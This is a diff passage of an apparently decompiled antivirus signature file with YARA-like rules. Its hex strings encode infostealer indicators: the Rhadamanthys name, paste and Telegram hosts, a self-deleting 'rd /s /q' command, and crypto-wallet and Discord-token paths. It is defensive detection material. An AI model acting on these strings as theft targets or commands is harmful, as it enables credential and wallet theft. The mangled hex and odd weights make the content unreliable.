"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 14 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 52 68 61 64 61 6d 61 6e 74 68 79 73 2e 42 42 21 4d 54 42 00 0a 00 10 80 01 74 65 78 74 62 69 6e 2e 6e 65 74 2f 72 61 77 2f 0a 00 3e 01 69 00 70 00 2d 00 61 00 70 00 69 00 2e 00 63 00 6f 00 6d 00 2f 00 6c 00 69 00 6e 00 65 00 2f } //18467 + $a_00_2 = {6c 00 64 00 73 00 3d 00 68 00 6f 00 73 00 74 00 69 00 6e 00 67 00 0a 00 11 02 68 74 74 70 90 02 01 3a 2f 2f 74 2e 6d 65 2f 90 00 02 00 2c 00 2f 63 20 74 69 6d 65 6f 75 74 20 2f 74 20 31 30 20 26 20 72 64 20 2f 73 20 2f 71 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 02 00 13 01 5c 4d 6f 6e 65 72 } //105 + $a_61_3 = {6c 65 74 2e 6b 65 79 73 02 00 18 01 5c 42 72 61 76 65 57 61 6c 6c 65 74 5c 50 72 65 66 65 72 65 6e 63 65 73 02 00 13 01 5c 44 69 73 63 6f 72 64 5c 74 6f 6b 65 6e 73 2e 74 78 74 01 00 07 81 01 61 70 69 5f 6c 6f 67 01 00 09 81 01 64 69 72 5f 77 61 74 63 68 01 00 07 81 01 76 6d 63 68 65 63 6b 01 00 05 81 01 73 6e 78 68 6b 01 00 08 81 01 61 76 67 68 6f 6f 6b } //23663 + $a_76_5 = {68 6f 6f 6b 61 01 00 07 81 01 64 62 67 68 65 6c 70 01 00 07 81 01 70 73 74 6f 72 65 63 01 00 08 81 01 63 6d 64 76 72 74 36 34 01 00 08 81 01 63 6d 64 76 72 74 33 32 01 00 06 81 01 77 70 65 73 70 79 ce ff 16 80 01 2d 4d 61 6c 77 61 72 65 62 79 74 65 73 20 53 63 61 6e 6e 65 72 2d ce ff 16 80 } //385 + $a_63_6 = {72 69 74 79 47 75 61 72 64 53 44 4b 36 34 2e 64 6c 6c 00 00 78 cd 01 00 01 00 01 00 0a 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 2c 01 44 00 65 00 65 00 70 00 20 00 53 00 63 00 61 00 6e 00 00 00 43 00 75 00 73 00 74 00 6f 00 6d 00 20 00 53 00 63 00 61 00 } //21249 + $a_01_8 = {2e 3f 41 56 5a 53 63 61 6e 46 72 61 6d 65 40 40 00 } //1 + $a_01_9 = {2e 3f 41 56 5a 53 63 61 6e 52 65 73 75 6c 74 40 40 00 } //1 㼮噁博慣剮獥汵䁴@ + $a_01_10 = {50 00 6c 00 65 00 61 00 73 00 65 00 20 00 63 00 6c 00 69 00 63 00 6b 00 20 00 22 00 41 00 75 00 74 00 6f 00 20 00 41 00 64 00 6a 00 75 00 73 00 74 00 22 00 20 00 62 00 75 00 74 00 74 00 6f 00 6e 00 20 00 74 00 6f 00 20 00 65 00 72 00 61 00 73 00 65 00 20 00 61 00 6c 00 6c 00 20 00 69 00 6e 00 66 00 65 00 63 00 74 00 65 00 64 00 20 00 66 00 69 00 6c 00 65 00 } //1 Please click "Auto Adjust" button to erase all infected file + $a_01_11 = {47 00 75 00 61 00 72 00 64 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 00 00 } //1 + $a_01_12 = {71 00 77 00 65 00 61 00 73 00 64 00 66 00 67 00 68 00 00 00 } //1 + $a_81_13 = {5c 70 72 6f 74 65 63 74 25 73 2e 65 78 65 00 } //1 + $a_81_14 = {6e 67 6c 69 63 68 6b 65 69 74 2d 4d 61 6e 61 67 65 72 00 } //1 + $a_01_15 = {50 00 6c 00 65 00 61 00 73 00 65 00 20 00 62 00 65 00 20 00 63 00 61 00 72 00 65 00 66 00 75 00 6c 00 20 00 77 00 68 00 69 00 6c 00 65 00 20 00 61 00 64 00 6a 00 75 00 73 00 74 00 69 00 6e 00 67 00 20 00 74 00 68 00 65 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 2e 00 00 00 } //1 + $a_01_16 = {50 6a 18 6a 50 6a 16 } //1 + $a_cd_17 = {00 03 00 03 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 57 69 6c 74 65 64 54 75 6c 69 70 5f 4d 61 74 72 79 6f 73 68 6b 61 5f 52 41 54 00 01 00 40 03 25 00 53 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 70 00 75 00 62 00 6c 00 69 00 63 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a } //0 + $a_90_18 = {01 00 3c 03 6e 00 74 00 75 00 73 00 65 00 72 00 2e 00 64 00 61 00 74 00 2e 00 73 00 77 00 70 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 4c 03 4a 00 6f 00 62 00 20 00 53 00 61 00 76 00 65 00 20 00 2f 00 20 00 4c 00 6f 00 61 00 64 00 20 00 43 00 6f 00 6e 00 66 00 69 00 67 00 90 2c 01 09 30 2d 39 41 2d 5a } //11617 + $a_90_19 = {02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 40 03 2e 3f 41 56 50 53 43 4c 5f 43 4c 41 53 53 5f 4a 4f 42 5f 53 41 56 45 5f 43 4f 4e 46 49 47 40 40 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 2f 03 77 69 6e 75 70 64 61 74 65 36 34 2e 63 6f 6d 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 } //11617 + condition: + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*105+(#a_61_3 & 1)*23663+(#a_76_5 & 1)*385+(#a_63_6 & 1)*21249+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_cd_17 & 1)*0+(#a_90_18 & 1)*11617+(#a_90_19 & 1)*11617) >=18 + +} +rule _InfrastructureShared_20608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -239822,7 +254776,7 @@ rule _InfrastructureShared_19403{ ((#a_5f_0 & 1)*25635+(#a_00_2 & 1)*80+(#a_00_3 & 1)*102+(#a_50_4 & 1)*24576+(#a_00_6 & 1)*115+(#a_00_7 & 1)*3+(#a_46_8 & 1)*16675+(#a_00_9 & 1)*105) >=1 } -rule _InfrastructureShared_19404{ +rule _InfrastructureShared_20609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -239836,7 +254790,7 @@ rule _InfrastructureShared_19404{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_3 & 1)*98+(#a_00_4 & 1)*105+(#a_6e_5 & 1)*30467) >=3 } -rule _InfrastructureShared_19405{ +rule _InfrastructureShared_20610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -239849,7 +254803,7 @@ rule _InfrastructureShared_19405{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*2136+(#a_91_2 & 1)*4359+(#a_11_3 & 1)*4115) >=4 } -rule _InfrastructureShared_19406{ +rule _InfrastructureShared_20611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0e 00 21 " @@ -239870,7 +254824,7 @@ rule _InfrastructureShared_19406{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*27951+(#a_67_2 & 1)*27694+(#a_6c_3 & 1)*25646+(#a_6e_5 & 1)*24941+(#a_50_6 & 1)*29554+(#a_6e_7 & 1)*29547+(#a_74_8 & 1)*27206+(#a_61_9 & 1)*28265+(#a_74_10 & 1)*25959+(#a_6f_12 & 1)*28519+(#a_6f_13 & 1)*282) >=4 } -rule _InfrastructureShared_19407{ +rule _InfrastructureShared_20612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -239887,7 +254841,7 @@ rule _InfrastructureShared_19407{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29283+(#a_73_2 & 1)*25964+(#a_69_3 & 1)*385+(#a_67_4 & 1)*26988+(#a_6f_5 & 1)*16686+(#a_6f_7 & 1)*28519+(#a_6f_9 & 1)*28519) >=10 } -rule _InfrastructureShared_19408{ +rule _InfrastructureShared_20613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -239911,7 +254865,7 @@ rule _InfrastructureShared_19408{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*11893+(#a_63_2 & 1)*30063+(#a_73_3 & 1)*25458+(#a_00_4 & 1)*26478+(#a_6e_5 & 1)*16897+(#a_41_7 & 1)*4608+(#a_74_8 & 1)*25960+(#a_62_9 & 1)*29559+(#a_62_10 & 1)*17409+(#a_65_11 & 1)*267+(#a_01_12 & 1)*30720+(#a_61_13 & 1)*24900+(#a_72_14 & 1)*28531+(#a_01_15 & 1)*2048) >=16 } -rule _InfrastructureShared_19409{ +rule _InfrastructureShared_20614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -239938,7 +254892,7 @@ rule _InfrastructureShared_19409{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29813+(#a_01_2 & 1)*29813+(#a_79_3 & 1)*28532+(#a_6e_4 & 1)*24415+(#a_31_5 & 1)*16715+(#a_31_6 & 1)*14406+(#a_6e_7 & 1)*385+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_81_15 & 1)*1+(#a_81_16 & 1)*1+(#a_cd_17 & 1)*0) >=18 } -rule _InfrastructureShared_19410{ +rule _InfrastructureShared_20615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -239966,7 +254920,7 @@ rule _InfrastructureShared_19410{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*17208+(#a_34_2 & 1)*14412+(#a_72_3 & 1)*21345+(#a_01_4 & 1)*25445+(#a_00_5 & 1)*1+(#a_2f_6 & 1)*18771+(#a_74_7 & 1)*25970+(#a_69_8 & 1)*29285+(#a_30_9 & 1)*25906+(#a_01_10 & 1)*11570+(#a_24_11 & 1)*385+(#a_31_12 & 1)*13154+(#a_15_13 & 1)*4098+(#a_02_14 & 1)*68+(#a_10_15 & 1)*-28672+(#a_00_16 & 1)*400+(#a_01_17 & 1)*30720+(#a_00_18 & 1)*29793) >=19 } -rule _InfrastructureShared_19411{ +rule _InfrastructureShared_20616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -239992,7 +254946,7 @@ rule _InfrastructureShared_19411{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*385+(#a_01_2 & 1)*21625+(#a_33_3 & 1)*13107+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_ce_7 & 1)*0+(#a_03_8 & 1)*-28489+(#a_68_10 & 1)*6144+(#a_01_11 & 1)*5631+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_ce_18 & 1)*0) >=19 } -rule _InfrastructureShared_19412{ +rule _InfrastructureShared_20617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " @@ -240011,7 +254965,7 @@ rule _InfrastructureShared_19412{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*20584+(#a_90_4 & 1)*-9200+(#a_10_5 & 1)*-28476+(#a_00_6 & 1)*24464+(#a_15_7 & 1)*4098+(#a_65_8 & 1)*28271+(#a_61_9 & 1)*11886+(#a_6e_10 & 1)*29816+(#a_6d_11 & 1)*25390) >=1 } -rule _InfrastructureShared_19413{ +rule _InfrastructureShared_20618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0f 00 21 " @@ -240032,7 +254986,7 @@ rule _InfrastructureShared_19413{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*-32737+(#a_72_2 & 1)*30580+(#a_79_3 & 1)*24898+(#a_00_4 & 1)*25976+(#a_78_5 & 1)*384+(#a_2e_6 & 1)*28524+(#a_00_8 & 1)*101+(#a_00_10 & 1)*101+(#a_00_12 & 1)*104+(#a_00_13 & 1)*116+(#a_00_14 & 1)*69) >=1 } -rule _InfrastructureShared_19414{ +rule _InfrastructureShared_20619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -240045,7 +254999,7 @@ rule _InfrastructureShared_19414{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*55+(#a_00_2 & 1)*58+(#a_00_4 & 1)*108) >=3 } -rule _InfrastructureShared_19415{ +rule _InfrastructureShared_20620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -240057,7 +255011,7 @@ rule _InfrastructureShared_19415{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*65+(#a_00_3 & 1)*115) >=3 } -rule _InfrastructureShared_19416{ +rule _InfrastructureShared_20621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -240069,7 +255023,7 @@ rule _InfrastructureShared_19416{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_00_3 & 1)*111) >=4 } -rule _InfrastructureShared_19417{ +rule _InfrastructureShared_20622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 13 00 21 " @@ -240095,7 +255049,7 @@ rule _InfrastructureShared_19417{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-25459+(#a_02_2 & 1)*1406+(#a_00_3 & 1)*12256+(#a_90_4 & 1)*-17093+(#a_12_6 & 1)*5641+(#a_12_7 & 1)*4627+(#a_13_8 & 1)*5642+(#a_13_9 & 1)*4883+(#a_14_10 & 1)*5139+(#a_0c_11 & 1)*5419+(#a_15_12 & 1)*5395+(#a_05_13 & 1)*-25390+(#a_5a_14 & 1)*17731+(#a_00_15 & 1)*57+(#a_00_16 & 1)*101+(#a_00_18 & 1)*68) >=1 } -rule _InfrastructureShared_19418{ +rule _InfrastructureShared_20623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -240108,7 +255062,7 @@ rule _InfrastructureShared_19418{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4377+(#a_1b_2 & 1)*6237+(#a_58_3 & 1)*4369) >=4 } -rule _InfrastructureShared_19419{ +rule _InfrastructureShared_20624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -240122,7 +255076,7 @@ rule _InfrastructureShared_19419{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*86+(#a_00_3 & 1)*73+(#a_00_4 & 1)*75+(#a_00_5 & 1)*86) >=6 } -rule _InfrastructureShared_19420{ +rule _InfrastructureShared_20625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -240140,7 +255094,7 @@ rule _InfrastructureShared_19420{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*15104+(#a_66_2 & 1)*21249+(#a_6e_3 & 1)*23600+(#a_77_4 & 1)*29810+(#a_73_5 & 1)*28013+(#a_74_6 & 1)*16732+(#a_68_7 & 1)*23587+(#a_6e_8 & 1)*29295) >=9 } -rule _InfrastructureShared_19421{ +rule _InfrastructureShared_20626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -240159,7 +255113,7 @@ rule _InfrastructureShared_19421{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29798+(#a_00_2 & 1)*29555+(#a_6d_3 & 1)*9473+(#a_23_4 & 1)*14848+(#a_73_5 & 1)*24936+(#a_4d_6 & 1)*25701+(#a_3a_7 & 1)*21587+(#a_01_8 & 1)*25955+(#a_75_9 & 1)*29541) >=10 } -rule _InfrastructureShared_19422{ +rule _InfrastructureShared_20627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -240179,7 +255133,7 @@ rule _InfrastructureShared_19422{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25458+(#a_65_2 & 1)*28532+(#a_74_3 & 1)*25939+(#a_00_4 & 1)*101+(#a_54_5 & 1)*25460+(#a_64_6 & 1)*16735+(#a_6d_7 & 1)*29769+(#a_67_8 & 1)*25932+(#a_00_10 & 1)*115+(#a_00_11 & 1)*111) >=12 } -rule _InfrastructureShared_19423{ +rule _InfrastructureShared_20628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffd8 00 ffffffd8 00 12 00 21 " @@ -240205,7 +255159,7 @@ rule _InfrastructureShared_19423{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*25665+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_d0_14 & 1)*0+(#a_2e_15 & 1)*9216+(#a_00_17 & 1)*105) >=216 } -rule _InfrastructureShared_19424{ +rule _InfrastructureShared_20629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -240218,7 +255172,7 @@ rule _InfrastructureShared_19424{ ((#a_5f_0 & 1)*25635+(#a_00_2 & 1)*115+(#a_00_4 & 1)*108+(#a_00_6 & 1)*78) >=2 } -rule _InfrastructureShared_19425{ +rule _InfrastructureShared_20630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 12 00 21 " @@ -240245,7 +255199,7 @@ rule _InfrastructureShared_19425{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*4096+(#a_01_2 & 1)*-28571+(#a_78_3 & 1)*30058+(#a_66_4 & 1)*28279+(#a_61_5 & 1)*27234+(#a_77_6 & 1)*11779+(#a_66_7 & 1)*9216+(#a_38_8 & 1)*12345+(#a_4f_9 & 1)*20565+(#a_63_10 & 1)*30322+(#a_55_11 & 1)*11602+(#a_62_12 & 1)*28718+(#a_25_13 & 1)*26996+(#a_5c_14 & 1)*29281+(#a_65_15 & 1)*28526+(#a_00_16 & 1)*26478+(#a_6f_17 & 1)*385) >=3 } -rule _InfrastructureShared_19426{ +rule _InfrastructureShared_20631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0e 00 21 " @@ -240268,7 +255222,7 @@ rule _InfrastructureShared_19426{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25392+(#a_39_2 & 1)*14385+(#a_4d_3 & 1)*24943+(#a_53_4 & 1)*17231+(#a_55_5 & 1)*11602+(#a_62_6 & 1)*28718+(#a_25_7 & 1)*26996+(#a_5c_8 & 1)*29281+(#a_65_9 & 1)*28526+(#a_00_10 & 1)*26478+(#a_6f_11 & 1)*385+(#a_67_12 & 1)*27718+(#a_73_13 & 1)*28521) >=6 } -rule _InfrastructureShared_19427{ +rule _InfrastructureShared_20632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -240288,7 +255242,7 @@ rule _InfrastructureShared_19427{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*26996+(#a_5c_2 & 1)*29281+(#a_65_3 & 1)*28526+(#a_00_4 & 1)*26478+(#a_6f_5 & 1)*385+(#a_67_6 & 1)*27718+(#a_73_7 & 1)*28521+(#a_72_8 & 1)*16741+(#a_00_9 & 1)*25955+(#a_65_10 & 1)*385) >=11 } -rule _InfrastructureShared_19428{ +rule _InfrastructureShared_20633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -240311,7 +255265,7 @@ rule _InfrastructureShared_19428{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25955+(#a_72_2 & 1)*29541+(#a_69_3 & 1)*24937+(#a_65_5 & 1)*385+(#a_53_7 & 1)*8993+(#a_08_9 & 1)*1792+(#a_11_10 & 1)*1299+(#a_13_11 & 1)*257+(#a_4d_12 & 1)*25953+(#a_24_13 & 1)*-32493+(#a_6f_14 & 1)*29797+(#a_01_15 & 1)*11618+(#a_6d_16 & 1)*28274) >=17 } -rule _InfrastructureShared_19429{ +rule _InfrastructureShared_20634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -240335,7 +255289,7 @@ rule _InfrastructureShared_19429{ ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*1025+(#a_ff_2 & 1)*-8131+(#a_30_3 & 1)*12342+(#a_31_4 & 1)*25143+(#a_41_5 & 1)*22066+(#a_62_6 & 1)*14381+(#a_30_8 & 1)*13057+(#a_34_9 & 1)*13360+(#a_2d_10 & 1)*25190+(#a_32_11 & 1)*12600+(#a_61_12 & 1)*25697+(#a_64_13 & 1)*12854+(#a_8d_14 & 1)*18468+(#a_00_16 & 1)*144) >=17 } -rule _InfrastructureShared_19430{ +rule _InfrastructureShared_20635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -240352,7 +255306,7 @@ rule _InfrastructureShared_19430{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*13109+(#a_2d_2 & 1)*12389+(#a_38_3 & 1)*25392+(#a_31_4 & 1)*14386+(#a_63_5 & 1)*24883+(#a_00_6 & 1)*-11912+(#a_41_8 & 1)*8448) >=1 } -rule _InfrastructureShared_19431{ +rule _InfrastructureShared_20636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -240365,7 +255319,7 @@ rule _InfrastructureShared_19431{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-31347+(#a_8b_2 & 1)*-1+(#a_00_3 & 1)*-17984) >=2 } -rule _InfrastructureShared_19432{ +rule _InfrastructureShared_20637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0b 00 21 " @@ -240379,7 +255333,7 @@ rule _InfrastructureShared_19432{ ((#a_54_0 & 1)*18467+(#a_84_3 & 1)*40+(#a_01_4 & 1)*-1+(#a_7a_6 & 1)*6144+(#a_00_10 & 1)*71) >=3 } -rule _InfrastructureShared_19433{ +rule _InfrastructureShared_20638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -240393,7 +255347,7 @@ rule _InfrastructureShared_19433{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*109+(#a_2d_2 & 1)*2305+(#a_2e_4 & 1)*12288+(#a_53_5 & 1)*25968) >=6 } -rule _InfrastructureShared_19434{ +rule _InfrastructureShared_20639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -240407,7 +255361,7 @@ rule _InfrastructureShared_19434{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*49+(#a_00_3 & 1)*69+(#a_00_5 & 1)*101+(#a_00_6 & 1)*117) >=7 } -rule _InfrastructureShared_19435{ +rule _InfrastructureShared_20640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -240423,7 +255377,7 @@ rule _InfrastructureShared_19435{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_2d_2 & 1)*31277+(#a_01_3 & 1)*-28571+(#a_00_4 & 1)*14637+(#a_00_5 & 1)*2448+(#a_61_6 & 1)*281) >=7 } -rule _InfrastructureShared_19436{ +rule _InfrastructureShared_20641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 11 00 21 " @@ -240447,7 +255401,7 @@ rule _InfrastructureShared_19436{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*24909+(#a_65_2 & 1)*8312+(#a_6f_3 & 1)*20600+(#a_75_4 & 1)*25939+(#a_71_5 & 1)*29041+(#a_45_6 & 1)*285+(#a_73_7 & 1)*25458+(#a_63_8 & 1)*30063+(#a_4d_9 & 1)*28257+(#a_74_10 & 1)*19826+(#a_72_11 & 1)*18030+(#a_68_12 & 1)*29793+(#a_75_13 & 1)*31073+(#a_62_15 & 1)*22273) >=8 } -rule _InfrastructureShared_19437{ +rule _InfrastructureShared_20642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -240469,7 +255423,7 @@ rule _InfrastructureShared_19437{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_46_2 & 1)*22273+(#a_6e_3 & 1)*19758+(#a_65_4 & 1)*22125+(#a_72_5 & 1)*29548+(#a_2e_6 & 1)*17751+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1) >=13 } -rule _InfrastructureShared_19438{ +rule _InfrastructureShared_20643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -240490,7 +255444,7 @@ rule _InfrastructureShared_19438{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*28265+(#a_6f_2 & 1)*25970+(#a_01_3 & 1)*29817+(#a_34_4 & 1)*24880+(#a_56_5 & 1)*29537+(#a_00_7 & 1)*111+(#a_00_9 & 1)*83+(#a_00_11 & 1)*115+(#a_0f_13 & 1)*400+(#a_01_14 & 1)*-27253+(#a_90_15 & 1)*-18929) >=16 } -rule _InfrastructureShared_19439{ +rule _InfrastructureShared_20644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 0b 00 21 " @@ -240508,7 +255462,7 @@ rule _InfrastructureShared_19439{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*119+(#a_00_3 & 1)*119+(#a_00_5 & 1)*100+(#a_00_6 & 1)*101+(#a_6f_7 & 1)*31088+(#a_b6_8 & 1)*1563+(#a_06_9 & 1)*-28539+(#a_90_10 & 1)*774) >=26 } -rule _InfrastructureShared_19440{ +rule _InfrastructureShared_20645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -240519,7 +255473,7 @@ rule _InfrastructureShared_19440{ ((#a_46_0 & 1)*16675+(#a_c1_1 & 1)*7056) >=2 } -rule _InfrastructureShared_19441{ +rule _InfrastructureShared_20646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -240532,7 +255486,7 @@ rule _InfrastructureShared_19441{ ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*1809+(#a_13_2 & 1)*-490+(#a_00_3 & 1)*11280) >=4 } -rule _InfrastructureShared_19442{ +rule _InfrastructureShared_20647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -240549,7 +255503,7 @@ rule _InfrastructureShared_19442{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28520+(#a_01_2 & 1)*-25531+(#a_2d_3 & 1)*29281+(#a_08_5 & 1)*-14490+(#a_d0_6 & 1)*-12256+(#a_43_7 & 1)*14640+(#a_2d_8 & 1)*13869) >=4 } -rule _InfrastructureShared_19443{ +rule _InfrastructureShared_20648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -240564,7 +255518,7 @@ rule _InfrastructureShared_19443{ ((#a_54_0 & 1)*18467+(#a_3e_1 & 1)*15924+(#a_2d_2 & 1)*13357+(#a_2d_3 & 1)*13869+(#a_35_4 & 1)*11568+(#a_2d_5 & 1)*16685) >=6 } -rule _InfrastructureShared_19444{ +rule _InfrastructureShared_20649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -240584,7 +255538,7 @@ rule _InfrastructureShared_19444{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*31090+(#a_66_2 & 1)*13617+(#a_23_3 & 1)*-32484+(#a_65_4 & 